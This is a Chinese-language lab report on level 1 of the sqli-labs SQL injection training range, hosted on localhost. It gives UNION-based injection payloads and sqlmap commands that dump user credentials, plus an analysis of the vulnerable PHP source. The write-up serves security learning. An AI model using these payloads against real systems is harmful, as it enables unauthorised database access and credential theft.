Bootstrap

sql-labs靶场第一关测试报告

一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶    机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;下载地址:https://github.com/Mr-xn/hackbar2.1.3

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/

二、测试目的

①测试get型的sql注入,联合查询注入出数据库中的用户名和密码;

②使用sqlmap爆破,熟悉sqlmap的参数

三、操作过程

1、寻找注入点

根据提示,将id作为参数,值为数字

输入id之后,页面回显了对应的账户密码

给数字加个引号  ‘   ,回显报错,存在sql注入,注入点在url的id值

是字符型注入

2、注入数据库

①Order by判断列数

单引号后面拼接sql语句可以执行,因此闭合符号为单引号   '  

-- + 是注释符,sql语句中  --  后面加空格,会注释掉后面语句的所有内容

传入id值,先用order by 查看列数,可见数据库表共三列,查看第四列时会报错

?id=1' order by 3 --+

?id=1' order by 4 --+

②判断回显地方

使用联合查询注入,可以看到Login name是第二列,password是第三列

?id=-1' union select 1,2,3 --+

③爆库,查看数据库名称

?id=-1' union select 1,database(),3 --+

Database()函数返回当前数据库

④爆表,查看security库的所有表

?id=-1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

group_concat()函数可以将查询到的数据按格式排列;

查看inforamtion_schema数据库的tables字段来查看本数据库的所有表;

table_name是表名的字段名;

table_schema是数据库的字段名。

⑤爆列,查看users表的所有列

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema= database() and table_name='users'--+

依旧是inforamtion_schema数据库,使用columns字段查看对应数据表的所有列;

column_name是所有字段名的字段;

⑥成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

可以将所有的用户名和密码爆出

3、Sqlmap注入方法

①爆库

Payload:

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs

使用python程序

-u  指定url

--dbs   是爆库的参数

②爆表

Payload:

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 -D security --tables

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

Payload:

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 -D security -T users --columns

-D   指定数据库

-T   指定数据表

--columns     爆破列名的参数

④爆字段值

Payload:

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 -D security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php

//including the Mysql connect parameters.

include("../sql-connections/sql-connect.php");

error_reporting(0);

// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id']; // id=1

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);


// connectivity


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";


//$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);


    if($row)

    {

    echo "<font size='5' color= '#99FF00'>";

    echo 'Your Login name:'. $row['username'];

    echo "<br>";

    echo 'Your Password:' .$row['password'];

    echo "</font>";

    }

    else

    {

    echo '<font color= "#FFFF00">';

    print_r(mysql_error());

    echo "</font>";  

    }

}

    else { echo "Please input the ID as parameter with numeric value";}


?>

error_reporting(0);函数,关闭了php代码的所有错误报告;

获取的id值,直接写入了日志记录文件,同时也直接应用在sql语句中,没有任何过滤;

Sql语句只取一行,后面被过了掉了,所以没生效;

页面输出内容,直接将取到的数据,username和password打印在页面上。

五、结论

传递id号是sql注入漏洞的一大特点,有id参数就需要特别留意。

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

用sqlmap的话,需要把id参数带上,不然爆不出来。

这关使用联合查询,覆盖掉原来的sql语句。

;